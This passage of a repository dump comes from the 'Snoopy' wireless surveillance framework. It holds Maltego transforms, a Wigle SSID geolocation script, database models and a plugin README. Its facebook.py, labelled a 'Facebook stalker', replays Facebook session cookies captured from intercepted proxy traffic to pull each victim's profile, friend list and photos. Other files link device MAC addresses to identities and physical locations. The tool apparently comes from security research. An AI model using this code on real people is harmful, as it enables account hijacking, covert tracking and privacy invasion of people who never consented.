76 | # NewEnt.addAdditionalFields("useragent","useragent","strict",useragent) #Some devices have multiple UAs
77 | NewEnt.addAdditionalFields("from_web","from_web","strict","True")
78 | NewEnt.addAdditionalFields("from_probes","from_probes","strict","True")
79 |
80 | #NewEnt.addAdditionalFields("drone","drone","strict",drone)
81 | #NewEnt.addAdditionalFields("start_time", "start_time", "nostrict",start)
82 | #NewEnt.addAdditionalFields("end_time","end_time", "nostrict",end)
83 | #NewEnt.addAdditionalFields("location","location","strict",location)
84 | #NewEnt.addAdditionalFields("run_id","run_id","strict",run_id)
85 |
86 |
87 | TRX.returnOutput()
88 | try:
89 | main()
90 | except Exception, e:
91 | logging.debug(e)
92 |
93 |
--------------------------------------------------------------------------------
/snoopy/server/bin/ssid_to_loc.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # coding=utf-8
3 | # glenn@sensepost.com
4 | # Snoopy // 2012
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | # Uses wigle_api to query SSIDs from the MySQL database
8 |
9 | from wigle_api_lite import fetchLocations
10 | import time
11 | import stawk_db
12 | import sys
13 | import re
14 | import logging
15 |
16 | from warnings import filterwarnings
17 | import MySQLdb as Database
18 | filterwarnings('ignore', category = Database.Warning)
19 |
20 | num_threads=2
21 | Flag=True
22 | bad_ssids={}
23 | #if len(sys.argv) < 2:
24 | #priority=None
25 | # priority=2
26 | #else:
27 | # Allows us to set real time priority, e.g for Maltego
28 | # priority=int(sys.argv[1])
29 |
30 | def main():
31 | logging.info("Starting Wigle GeoLocator")
32 |
33 | cursor = stawk_db.dbconnect()
34 | while Flag:
35 | cursor.execute("SELECT DISTINCT probe_ssid FROM probes WHERE probe_ssid != '' AND probe_ssid NOT LIKE '%\\\\\\%' AND probe_ssid NOT IN (SELECT DISTINCT ssid from wigle) ORDER BY PRIORITY")
36 | result=cursor.fetchall()
37 | if(len(result) > 0):
38 | logging.info("Looking up address for %d SSIDs" %len(result))
39 | for r in result:
40 | if r[0] in bad_ssids and bad_ssids[r[0]] > 4:
41 | logging.info("Ignoring bad SSID '%s' after %d failed lookups"%(r[0],bad_ssids[r[0]]))
42 | cursor.execute("INSERT INTO wigle (ssid,overflow) VALUES (%s,-2)",(ssid))
43 | else:
44 | locations=fetchLocations(r[0])
45 |
46 | if locations == None:
47 | logging.info("Wigle account has been shunned, backing off for 20 minutes")
48 | time.sleep(60*20)
49 | elif 'error' in locations:
50 | logging.info("An error occured, will retry in 60 seconds (%s)" %locations['error'])
51 | if r[0] not in bad_ssids:
52 | bad_ssids[r[0]]=0
53 | bad_ssids[r[0]]+=1
54 | #print bad_ssids
55 | time.sleep(60)
56 |
57 | else:
58 | for l in locations:
59 | country,code,address="","",""
60 | if( 'country' in l['ga'] ):
61 | country=l['ga']['country']
62 | if( 'code' in l['ga'] ):
63 | code=l['ga']['code']
64 | if( 'address' in l['ga'] ):
65 | address=l['ga']['address']
66 |
67 | ssid=l['ssid']
68 | g_long=l['long']
69 | g_lat=l['lat']
70 | mac=re.sub(':','',l['mac'])
71 | last_seen=l['last_seen']
72 | overflow=l['overflow']
73 |
74 |
75 |
76 | # logging.info("INSERT INTO wigle (ssid,mac,gps_lat,gps_long,last_update,overflow, country,code,address) VALUES ('%s','%s','%s','%s','%s','%s','%s','%s','%s')"%(ssid,mac,g_lat,g_long,last_seen,overflow,country,code,address))
77 | cursor.execute("INSERT INTO wigle (ssid,mac,gps_lat,gps_long,last_update,overflow, country,code,address) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s)",(ssid,mac,g_lat,g_long,last_seen,overflow,country,code,address))
78 |
79 |
80 | # print locations
81 |
82 | time.sleep(5)
83 |
84 | if __name__ == "__main__":
85 | logging.basicConfig(level=logging.DEBUG,format='%(asctime)s %(levelname)s %(filename)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
86 |
87 | while True:
88 | try:
89 | main()
90 | except Exception, e:
91 | logging.error("Beware the ides of March")
92 | logging.error(e)
93 | time.sleep(10)
94 |
95 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/fetchFacebook.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | import sys
3 | import os
4 | from Maltego import *
5 | import stawk_db
6 | import logging
7 | import datetime
8 |
9 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
10 |
11 | sys.stderr = sys.stdout
12 |
13 | def main():
14 |
15 | fb_view_url=None
16 | try:
17 | p=os.path.dirname(os.path.realpath(__file__))
18 | f=open("%s/../setup/webroot_guid.txt"%p,"r")
19 | fb_view_url=f.readline().strip() + "/web_data/facebook/"
20 | except:
21 | logging.debug("Warning: Couldn't determind streetview webserver folder")
22 |
23 |
24 |
25 | print "Content-type: xml\n\n";
26 | MaltegoXML_in = sys.stdin.read()
27 | if MaltegoXML_in <> '':
28 | m = MaltegoMsg(MaltegoXML_in)
29 |
30 | cursor=stawk_db.dbconnect()
31 | TRX = MaltegoTransform()
32 |
33 |
34 | try:
35 |
36 | mac=m.AdditionalFields['mac']
37 | drone=m.AdditionalFields['drone']
38 |
39 | logging.debug(mac)
40 | logging.debug(drone)
41 |
42 | logging.debug("SELECT id,name,gender,locale,network,link,degree FROM facebook,dhcp_leases WHERE facebook.ip=dhcp_leases.ip AND mac=%s"%(mac))
43 |
44 | cursor.execute("SELECT id,name,gender,locale,network,link,degree FROM facebook,dhcp_leases WHERE facebook.ip=dhcp_leases.ip AND mac=%s",(mac))
45 | results=cursor.fetchall()
46 |
47 | for row in results:
48 | id,name,gender,locale,network,link,degree=row[0],row[1],row[2],row[3],row[4],row[5],row[6]
49 |
50 | if id != None:
51 | id=id.encode('utf8','xmlcharrefreplace')
52 | if name != None:
53 | name=name.encode('utf8','xmlcharrefreplace')
54 | if gender != None:
55 | gender=gender.encode('utf8','xmlcharrefreplace')
56 | if locale != None:
57 | locale=locale.encode('utf8','xmlcharrefreplace')
58 | if network != None:
59 | network=network.encode('utf8','xmlcharrefreplace')
60 | else:
61 | network="-"
62 | if link != None:
63 | link=link.encode('utf8','xmlcharrefreplace')
64 |
65 | NewEnt=TRX.addEntity("maltego.FacebookObject",name)
66 | NewEnt.addAdditionalFields("id","id","nostrict",id)
67 | NewEnt.addAdditionalFields("gender","gender","nostrict",gender)
68 | NewEnt.addAdditionalFields("locale","locale","nostrict",locale)
69 | NewEnt.addAdditionalFields("network","network","nostrict",network)
70 | NewEnt.addAdditionalFields("link","link","nostrict",link)
71 | NewEnt.addAdditionalFields("degree","degree","nostrict",degree)
72 |
73 | NewEnt.addAdditionalFields("drone","drone","nostrict",drone)
74 | NewEnt.addAdditionalFields("mac","mac","nostrict",mac)
75 |
76 | logging.debug("Facebook profile photo - %s/%s/profile.jpg" % (fb_view_url,id))
77 | if( fb_view_url != None):
78 | NewEnt.addAdditionalFields("facebook_profile_photo","Profile","strict","%s/%s/profile.jpg"%(fb_view_url,id))
79 | NewEnt.setIconURL("%s/%s/profile.jpg" % (fb_view_url,id))
80 |
81 |
82 |
83 |
84 | except Exception, e:
85 | logging.debug("Exception:")
86 | logging.debug(e)
87 |
88 |
89 | TRX.returnOutput()
90 |
91 | main()
92 |
93 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/fetchFacebookFriends.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com
4 | # Snoopy // 2012
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from Maltego import *
10 | import stawk_db
11 | import logging
12 | import datetime
13 |
14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
15 |
16 | sys.stderr = sys.stdout
17 |
18 | def main():
19 |
20 | fb_view_url=None
21 | try:
22 | p=os.path.dirname(os.path.realpath(__file__))
23 | f=open("%s/../setup/webroot_guid.txt"%p,"r")
24 | fb_view_url=f.readline().strip() + "/web_data/facebook/"
25 | except:
26 | logging.debug("Warning: Couldn't determind streetview webserver folder")
27 |
28 |
29 | print "Content-type: xml\n\n";
30 | MaltegoXML_in = sys.stdin.read()
31 | if MaltegoXML_in <> '':
32 | m = MaltegoMsg(MaltegoXML_in)
33 |
34 | cursor=stawk_db.dbconnect()
35 | TRX = MaltegoTransform()
36 |
37 |
38 | try:
39 | mac,drone=0,0
40 | if 'mac' in m.AdditionalFields:
41 | mac=m.AdditionalFields['mac']
42 | if 'drone' in m.AdditionalFields:
43 | drone=m.AdditionalFields['drone']
44 |
45 | id=m.AdditionalFields['id']
46 |
47 | logging.debug(mac)
48 | logging.debug(drone)
49 | logging.debug(id)
50 | logging.debug("SELECT facebook.id,name,gender,locale,network,link,degree FROM facebook_friends,facebook WHERE facebook_friends.id='%s' AND facebook_friends.friend_id=facebook.id"% (id))
51 |
52 | cursor.execute("SELECT facebook.id,name,gender,locale,network,link,degree FROM facebook_friends,facebook WHERE facebook_friends.id=%s AND facebook_friends.friend_id=facebook.id", (id))
53 | results=cursor.fetchall()
54 |
55 |
56 | for row in results:
57 | id,name,gender,locale,network,link,degree=row[0],row[1],row[2],row[3],row[4],row[5],row[6]
58 |
59 | if id != None:
60 | id=id.encode('utf8','xmlcharrefreplace')
61 | if name != None:
62 | name=name.encode('utf8','xmlcharrefreplace')
63 | if gender != None:
64 | gender=gender.encode('utf8','xmlcharrefreplace')
65 | if locale != None:
66 | locale=locale.encode('utf8','xmlcharrefreplace')
67 | if network != None:
68 | network=network.encode('utf8','xmlcharrefreplace')
69 | else:
70 | network="-"
71 | if link != None:
72 | link=link.encode('utf8','xmlcharrefreplace')
73 |
74 |
75 | NewEnt=TRX.addEntity("maltego.FacebookObject",name)
76 | NewEnt.addAdditionalFields("id","id","nostrict",id)
77 | NewEnt.addAdditionalFields("gender","gender","nostrict",gender)
78 | NewEnt.addAdditionalFields("locale","locale","nostrict",locale)
79 | # NewEnt.addAdditionalFields("network","network","nostrict",network)
80 | NewEnt.addAdditionalFields("link","link","nostrict",link)
81 | NewEnt.addAdditionalFields("degree","degree","nostrict",degree)
82 |
83 | # NewEnt.addAdditionalFields("drone","drone","nostrict",drone)
84 | # NewEnt.addAdditionalFields("mac","mac","nostrict",mac)
85 |
86 | #logging.debug("Facebook profile photo - %s/%s/profile.jpg" % (fb_view_url,id))
87 | if( fb_view_url != None):
88 | NewEnt.addAdditionalFields("facebook_profile_photo","Profile","strict","%s/%s/profile.jpg"%(fb_view_url,id))
89 | NewEnt.setIconURL("%s/%s/profile.jpg" % (fb_view_url,id))
90 |
91 |
92 | except Exception, e:
93 | logging.debug("Exception:")
94 | logging.debug(e)
95 |
96 |
97 | TRX.returnOutput()
98 |
99 | main()
100 |
101 |
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/db/models.py:
--------------------------------------------------------------------------------
1 | """Contains all SQLAlchemy ORM models."""
2 |
3 | from cryptacular import bcrypt
4 | from sqlalchemy import Column
5 | from sqlalchemy import Boolean, CHAR, DateTime, Integer, Numeric, SmallInteger, String
6 | from sqlalchemy.ext.declarative import declarative_base
7 | from sqlalchemy.ext.hybrid import hybrid_property
8 |
9 |
10 | crypt = bcrypt.BCRYPTPasswordManager()
11 |
12 | def hash_password(password):
13 | return unicode(crypt.encode(password))
14 |
15 |
16 | Session = None
17 | Base = declarative_base()
18 |
19 |
20 | ##########
21 | # MODELS #
22 | ##########
23 |
24 | class Probe(Base):
25 | __tablename__ = 'probes'
26 |
27 | # COLUMNS #
28 | # id = Column(Integer, primary_key=True)
29 | monitor = Column('monitor_id', String(20, convert_unicode=True), default=None, primary_key=True)
30 | device_mac = Column(CHAR(17), default=None, primary_key=True)
31 | probe_ssid = Column(String(100, convert_unicode=True), default=None, primary_key=True)
32 | signal_db = Column(Integer, default=None)
33 | timestamp = Column(DateTime, default=None, primary_key=True)
34 | run_id = Column(String(50), default=None)
35 | location = Column(String(50), default=None)
36 | proximity_session = Column(String(20), default=None)
37 |
38 |
39 | class Cookie(Base):
40 | __tablename__ = 'cookies'
41 |
42 | # COLUMNS #
43 | id = Column(Integer, primary_key=True)
44 | device_mac = Column(CHAR(17), nullable=False, default='')
45 | device_ip = Column(CHAR(15), default=None)
46 | site = Column(String(256), nullable=False, default='')
47 | cookie_name = Column(String(256), nullable=False, default='')
48 | cookie_name = Column(String(4096), nullable=False, default='')
49 |
50 |
51 | class GpsMovement(Base):
52 | __tablename__ = 'gps_movement'
53 |
54 | # COLUMNS #
55 | monitor = Column('monitor_id', String(20, convert_unicode=True), default=None, primary_key=True)
56 | run_id = Column(String(20), default=None)
57 | timestamp = Column(Integer, nullable=False, default=0, primary_key=True)
58 | gps_lat = Column(Numeric(8, 6))
59 | gps_long = Column(Numeric(8, 6))
60 | accuracy = Column(Numeric(8, 6))
61 |
62 |
63 | class Wigle(Base):
64 | __tablename__ = 'wigle'
65 |
66 | # COLUMNS #
67 | ssid = Column(String(100), default=None, primary_key=True)
68 | gps_long = Column(Numeric(11, 8), default=None, primary_key=True)
69 | gps_lat = Column(Numeric(11, 8), default=None, primary_key=True)
70 | last_update = Column(DateTime, default=None)
71 | mac = Column(CHAR(17), default=None)
72 | overflow = Column(SmallInteger, default=None)
73 |
74 |
75 | class User(Base):
76 | __tablename__ = 'snoopy_user'
77 |
78 | # COLUMNS #
79 | id = Column(Integer, primary_key=True)
80 | name = Column(String(255, convert_unicode=True), unique=True)
81 | password_raw = Column('password', String(255, convert_unicode=True), nullable=False, default=u'')
82 | is_admin = Column(Boolean, default=False, nullable=False)
83 |
84 | @hybrid_property
85 | def password(self):
86 | return self.password_raw
87 |
88 | @password.setter
89 | def password(self, password):
90 | if len(password) < 8:
91 | raise ValueError('Password too short')
92 | self.password_raw = hash_password(password)
93 |
94 | # CLASS METHODS #
95 | @classmethod
96 | def check_password(cls, name, password):
97 | user = Session().query(cls).filter_by(name=name).first()
98 | if not user:
99 | return None
100 | return crypt.check(user.password, password) and user or None
101 |
102 | # SPECIAL METHODS #
103 | def __repr__(self):
104 | admin = ''
105 | if self.is_admin:
106 | admin = '*'
107 | return '<%s%s %d:%r>' % (admin, self.__class__.__name__, self.id, self.name)
108 |
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/README.md:
--------------------------------------------------------------------------------
1 | # Introduction
2 |
3 |
4 | # Requirements
5 | ## Python Packages
6 | * [Beaker](http://beaker.readthedocs.org/)
7 | * [cryptacular](http://pypi.python.org/pypi/cryptacular/)
8 | * [Flask](http://flask.pocoo.org/)
9 | * [MySQLdb](http://mysql-python.sourceforge.net/MySQLdb.html)
10 | * [SQLAlchemy](http://sqlalchemy.org/)
11 |
12 |
13 | # Plug-ins
14 | Plug-ins consist of two parts:
15 | * Back-end (data providing) part, written in Python
16 | * Front-end (displaying) part, written in JavaScript (optional)
17 |
18 | ## Back-end
19 | A plug-in is a callable that is dynamically loaded by the Snoopy application.
20 | Let's start with an example:
21 |
22 | from snoopy import db, pluginregistry
23 |
24 | @pluginregistry.add('client-data', 'ssidlist', 'SSID List', js='/static/js/ssidlist.js')
25 | def ssid_list(mac):
26 | with db.SessionCtx() as session:
27 | query = session.query(
28 | distinct(db.Probe.probe_ssid) # SELECT DISTINCT probe_ssid FROM probes
29 | ).filter_by(
30 | device_mac=mac # WHERE device_mac=$mac
31 | ).order_by(
32 | db.Probe.probe_ssid # ORDER BY probe_ssid
33 | )
34 | return query.all()
35 |
36 | Now for the blow-by-blow...
37 |
38 | from snoopy import db, pluginregistry
39 |
40 | We need `db` to access the Snoopy database and `pluginregistry` to register our
41 | plug-in.
42 |
43 | @pluginregistry.add('client-data', 'ssidlist', 'SSID List', js='/static/js/ssidlist.js')
44 |
45 | This is how we register our plug-in (which can be any callable). The first
46 | argument specifies the name of the group that this plug-in falls into. We
47 | specified `client-data`, since this plug-in accepts a MAC address and returns
48 | data to be displayed in a client data window. Apart from `client-data`, there
49 | is also the `session-data` group of plug-ins that operate on proximity
50 | sessions. The second parameter is the plug-in name. This name is for internal
51 | use only and should be JSON-friendly. The third parameter is the plug-in title.
52 | Essentially it is the same as the name, but the title is displayed in the GUI.
53 | More specifically, this is the title of the data section in the client data
54 | window.
55 |
56 | All keyword arguments after the title are saved as options. While the plug-in
57 | system does not require any options, Snoopy supports the `js` option. This
58 | option specifies the **URL** (from the browser side, not from Snoopy's/the
59 | server's side) of the JavaScript component of this plug-in.
60 |
61 | def ssid_list(mac):
62 |
63 | This plug-in is a simple function. It accepts a MAC address string, as
64 | per `client-data` plug-ins' definition. The name of the callable is not used.
65 |
66 | The body of this example plug-in simply performs a SQLAlchemy query that
67 | basically does `SELECT DISTINCT probe_ssid FROM probes WHERE device_mac=$mac`
68 | and returns the results as a list. The return values of plug-ins are usually
69 | added as part of a JSON response. Therefore the results has the limitation that
70 | it must be JSON-friendly (as supported by Flask's `jsonify()` function).
71 |
72 | As simple as that!
73 |
74 | ## Front-end
75 | Front-end plug-ins for client data are referred to as client data handlers.
76 | They are registered via the `Snoopy.registerPlugin(sectionName, dataHandler)`
77 | function. `sectionName` is the name of the data section that the data handler
78 | wants to handle. This name is the same as the back-end plug-in name that
79 | generated the data. The `dataHandler` must be a function with the following
80 | signature: `function($section, clientData) {...}`. `$section` is a jQuery
81 | object of the div element where the data handler may display data or affect
82 | changes. The client data (generated by the back-end plug-in) is given in the
83 | `clientData` parameter.
84 |
85 | Since the data handler's only allowed output is changes to the given div
86 | (`$section`), no return value is necessary.
87 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/fetchSSIDLocations.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com
4 | # Snoopy // 2012
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from Maltego import *
10 | import stawk_db
11 | import logging
12 | from wigle_api_lite import fetchLocations
13 | import time
14 | from xml.sax.saxutils import escape
15 |
16 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
17 |
18 | sys.stderr = sys.stdout
19 | def main():
20 |
21 | street_view_url=None
22 | try:
23 | p=os.path.dirname(os.path.realpath(__file__))
24 | f=open("%s/../setup/webroot_guid.txt"%p,"r")
25 | street_view_url=f.readline().strip() + "/web_data/street_views/"
26 | except:
27 | logging.debug("Warning: Couldn't determind streetview webserver folder")
28 |
29 |
30 |
31 | print "Content-type: xml\n\n";
32 | MaltegoXML_in = sys.stdin.read()
33 | if MaltegoXML_in <> '':
34 | m = MaltegoMsg(MaltegoXML_in)
35 |
36 | logging.debug(MaltegoXML_in)
37 |
38 | cursor=stawk_db.dbconnect()
39 | TRX = MaltegoTransform()
40 |
41 | ssid=m.Value
42 |
43 | try:
44 | cursor.execute("SELECT gps_lat,gps_long,country,code,address FROM wigle WHERE overflow = 0 AND ssid=%s LIMIT 500",(ssid)) #Can be useful to LIMIT 5, or some such. Make sure to do the same in fetchClientsFromCountry.py
45 | #cursor.execute("SELECT gps_lat,gps_long,country,code,address FROM wigle WHERE overflow = 0 AND ssid=%s",(ssid))
46 | results=cursor.fetchall()
47 | for row in results:
48 | # How to Unicode, plox?
49 | lat=row[0]
50 | long=row[1]
51 | # country=row[2].decode('raw_unicode_escape').encode('ascii','xmlcharrefreplace')
52 | # code=row[3].decode('raw_unicode_escape').encode('ascii','xmlcharrefreplace')
53 | # address=row[4].decode('utf-8').encode('ascii','xmlcharrefreplace')
54 | country=row[2].encode('utf8','xmlcharrefreplace')
55 | code=row[3].encode('utf8','xmlcharrefreplace')
56 | address=row[4].encode('utf8','xmlcharrefreplace')
57 |
58 | #NewEnt=TRX.addEntity("snoopy.ssidLocation",country)
59 | NewEnt=TRX.addEntity("maltego.Location",country)
60 | NewEnt.addAdditionalFields("latitude","latitude","strict",lat)
61 | NewEnt.addAdditionalFields("longitude","longitude","strict",long)
62 | NewEnt.addAdditionalFields("country", "Country", "strict", country)
63 | NewEnt.addAdditionalFields("countrycode", "Country Code", "strict", code)
64 | # NewEnt.addAdditionalFields("streetaddress", "Street Address", "strict", "")
65 | NewEnt.addAdditionalFields("streetaddress", "Street Address", "strict", address)
66 | NewEnt.addAdditionalFields("googleMap", "Google map", "nostrict", escape("http://maps.google.com/maps?t=h&q=%s,%s"%(lat,long)))
67 |
68 | logging.debug(street_view_url)
69 | if( street_view_url != None):
70 | NewEnt.addAdditionalFields("streetview","streetview","strict","%s/%s,%s.jpg"%(street_view_url,lat,long))
71 | NewEnt.setIconURL("%s/%s,%s.jpg" % (street_view_url,lat,long))
72 |
73 |
74 | except Exception,e:
75 | logging.debug(e)
76 |
77 |
78 | logging.debug(TRX)
79 | TRX.returnOutput()
80 |
81 |
82 | def debug1(self):
83 | print "";
84 | print "";
85 |
86 | print ""
87 | for i in range(len(self.entities)):
88 | self.entities[i].returnEntity();
89 | print " "
90 |
91 | print ""
92 | for i in range(len(self.UIMessages)):
93 | print "" + self.UIMessages[i][1] + " ";
94 | print " "
95 |
96 | print " ";
97 | print " ";
98 |
99 |
100 |
101 | main()
102 |
103 |
--------------------------------------------------------------------------------
/snoopy/server/bin/facebook.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # glenn@sensepost.com
3 | # Snoopy // 2012
4 | # By using this code you agree to abide by the supplied LICENSE.txt
5 |
6 | # This script will go through web logs looking for Facebook cookies, and extract user details along
7 | # with all of their friends.
8 |
9 | import sys
10 | import os
11 | import stawk_db
12 | import re
13 | import time
14 | import requests
15 | import json
16 | from urllib import urlretrieve
17 | import logging
18 |
19 | def do_fb(snoopyDir):
20 | global cursor
21 |
22 | cursor.execute("SELECT get_fb_from_squid.c_user,get_fb_from_squid.cookies,get_fb_from_squid.client_ip FROM get_fb_from_squid LEFT JOIN facebook ON facebook.degree = 0 AND get_fb_from_squid.c_user = facebook.id WHERE facebook.id IS NULL")
23 | results=cursor.fetchall()
24 |
25 | for row in results:
26 | id,cookie,ip=row[0],row[1],row[2]
27 | # Get info on the intercepted user
28 | url='http://graph.facebook.com/%s'%(id)
29 | cj={}
30 | headers={"User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", "Cookie":cookie}
31 | # for a in cookie.split(';'):
32 | # k,v=a.split('=')
33 | # cj[k]=v
34 | # r = requests.get(url,cookies=cj,headers=headers)
35 | r = requests.get(url,headers=headers)
36 | res=json.loads(r.text)
37 | ud={'id':'','name':'','first_name':'','last_name':'','link':'','username':'','gender':'','locale':''}
38 |
39 | # intersect = filter(fields.has_key, res.keys())
40 | # for k in intersect:
41 | # ud[k]=res[k]
42 |
43 | for r in res:
44 | if r in ud:
45 | ud[r]=res[r]
46 |
47 | # Grab profile photo
48 | if not os.path.exists("%s/web_data/facebook/%s"%(snoopyDir,id)) and not os.path.isdir("%s/web_data/facebook/%s"%(snoopyDir,id)):
49 | os.makedirs("%s/web_data/facebook/%s"%(snoopyDir,id))
50 | urlretrieve('http://graph.facebook.com/%s/picture'%id, '%s/web_data/facebook/%s/profile.jpg'%(snoopyDir,id))
51 |
52 | logging.info("New user observed! - %s" %ud['name'])
53 | logging.info(ud)
54 |
55 |
56 | cursor.execute("INSERT IGNORE INTO facebook (ip,id,name,first_name,last_name,link,username,gender,locale,degree) VALUES(%s,%s,%s,%s,%s,%s,%s,%s,%s,0)", (ip,ud['id'],ud['name'],ud['first_name'],ud['last_name'],ud['link'],ud['username'],ud['gender'],ud['locale']))
57 |
58 |
59 | # Pull his friends list
60 | url='http://www.facebook.com/ajax/typeahead_friends.php?__a=1&u=%s' %(id)
61 | r = requests.get(url,cookies=cj,headers=headers)
62 | res=json.loads(re.sub("for \(;;\);","",r.text))
63 | friends=res['payload']['friends']
64 |
65 | for friend in friends:
66 | #Grab their profile photo
67 | if not os.path.exists("%s/web_data/facebook/%s"%(snoopyDir,friend['i'])) and not os.path.isdir("%s/web_data/facebook/%s"%(snoopyDir,friend['i'])):
68 | logging.info("making dir %s/web_data/facebook/%s"%(snoopyDir,friend['i']))
69 | os.makedirs("%s/web_data/facebook/%s"%(snoopyDir,friend['i']))
70 | else:
71 | logging.info("Dir exists")
72 |
73 | urlretrieve('http://graph.facebook.com/%s/picture'%friend['i'], '%s/web_data/facebook/%s/profile.jpg'%(snoopyDir,friend['i']))
74 | cursor.execute("INSERT IGNORE INTO facebook(id,name,link,network,it,degree) VALUES(%s,%s,%s,%s,%s,1)", (friend['i'], friend['t'],friend['u'],friend['n'],friend['it']))
75 | cursor.execute("INSERT IGNORE INTO facebook_friends (id,friend_id) VALUES(%s,%s)", (id,friend['i']))
76 |
77 | def db():
78 | global cursor
79 | cursor=stawk_db.dbconnect()
80 |
81 | def main(snoopyDir):
82 | logging.info("Starting Facebook stalker")
83 | db()
84 |
85 |
86 | #####REMOVE POST TESTING
87 | while True:
88 | do_fb(snoopyDir)
89 | time.sleep(5)
90 |
91 |
92 | #TESTGING
93 | # while True:
94 | # try:
95 | # do_fb(snoopyDir)
96 | # except Exception, e:
97 | # logging.error("Something bad happened")
98 | # logging.error(e)
99 | # db()
100 | # time.sleep(5)
101 |
102 | if __name__ == "__main__":
103 | logging.basicConfig(level=logging.INFO,format='%(asctime)s %(levelname)s %(filename)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
104 | main(sys.argv[1])
105 |
--------------------------------------------------------------------------------
/snoopy/server/bin/snoopy/src/snoopy/__init__.py:
--------------------------------------------------------------------------------
1 | """Main snoopy package."""
2 |
3 | # Logging configuration
4 | import logging
5 | #logging.basicConfig(level=logging.DEBUG)
6 | #log = logging.getLogger(name='snoopy')
7 |
8 | import os
9 | import sys
10 | from collections import OrderedDict
11 | from ConfigParser import ConfigParser
12 |
13 |
14 | SRCDIR = os.path.dirname(__file__)
15 |
16 |
17 | class PluginRegistry(object):
18 | """Handles the loading and management of plug-ins.
19 | Plug-ins register in this registry by importing an instance of this
20 | class and decorating a callable with the `add()` method. Plug-ins are
21 | loaded from the directory specified in the `pluginsdir` variable. Once
22 | loaded, plug-ins are stored in the `self.plugins` dictionary.
23 |
24 | When loaded, the `self.plugins` dictionary has the following layout:
25 |
26 | self.plugins[groupname][plugin] = options
27 |
28 | where `groupname` is the group name specified as the first parameter to
29 | `add()`, `plugin` is the plug-in callable decorated with `add()` and
30 | `options` is a dictionary of the plug-in's name and title and any other
31 | keyword arguments to `add()`."""
32 |
33 | pluginsdir = 'plugins'
34 | """The directory from where plug-ins are loaded, relative to this file."""
35 |
36 | def __init__(self):
37 | self.plugins = {}
38 |
39 | def add(self, group, name, title, **options):
40 | """Decorator used by plug-ins to register with this registry.
41 | :param group: Name of the group that the decorated plug-in belongs
42 | to. This is the key under `self.plugins` that the plug-in is
43 | stored.
44 | :param name: The plug-in's internal (JSON-friendly) name.
45 | :param title: The plug-in's external (display-friendly) name.
46 | :param options: All keyword arguments (and name and title) are
47 | stored as plug-in options."""
48 | options.update(dict(name=name, title=title))
49 | if group not in self.plugins:
50 | self.plugins[group] = OrderedDict()
51 | def plugin_decorator(plugin):
52 | logging.debug('Registering plug-in: %r', plugin)
53 | self.plugins[group][plugin] = options
54 | return plugin
55 | return plugin_decorator
56 |
57 | def collect(self):
58 | """Collect plug-ins from the `plugins` directory."""
59 | for fname in os.listdir(os.path.join(SRCDIR, self.pluginsdir)):
60 | parts = fname.split(os.extsep)
61 | if parts[-1] != 'py' or fname.startswith('__') or len(parts) != 2:
62 | continue # Not a valid Python file to import
63 | __import__('snoopy.%s.%s' % (self.pluginsdir, parts[0]))
64 |
65 | pluginregistry = PluginRegistry()
66 |
67 |
68 | class Config(object):
69 | def __init__(self):
70 | self._parser = ConfigParser()
71 | # Prevent the parser from changing the case of option names:
72 | self._parser.optionxform = str
73 |
74 | def __getitem__(self, secname):
75 | if secname not in self._parser.sections():
76 | return {}
77 | section = self._parser._sections[secname].copy()
78 | if '__name__' in section:
79 | del section['__name__']
80 | return section
81 |
82 | def from_file(self, fname):
83 | self._parser.read(fname)
84 | self._post_load()
85 | logging.debug('configuration loaded from %r', fname)
86 | return self._parser._sections
87 |
88 | def from_sysargv(self):
89 | if len(sys.argv) > 1:
90 | return self.from_file(sys.argv[1])
91 |
92 | def _post_load(self):
93 | parser = self._parser
94 | for section in parser.sections():
95 | for key in parser.options(section):
96 | val = parser.get(section, key)
97 | if val.lower() in ('true', 'false'):
98 | parser.set(section, key, val.lower() == 'true')
99 |
100 | config = Config()
101 |
--------------------------------------------------------------------------------
/snoopy/server/transforms/fetchDrones.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com
4 | # Snoopy // 2012
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from Maltego import *
10 | import stawk_db
11 | import logging
12 | import datetime
13 | from time import strftime
14 | import re
15 | from common import *
16 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
17 |
18 | sys.stderr = sys.stdout
19 |
20 | def main():
21 |
22 | print "Content-type: xml\n\n";
23 | MaltegoXML_in = sys.stdin.read()
24 | if MaltegoXML_in <> '':
25 | m = MaltegoMsg(MaltegoXML_in)
26 |
27 | cursor=stawk_db.dbconnect()
28 | TRX = MaltegoTransform()
29 |
30 | # If no start / end times are specified, we default to lookback
31 | now=datetime.datetime.now()
32 | if 'start_time' in m.AdditionalFields and 'end_time' in m.AdditionalFields :
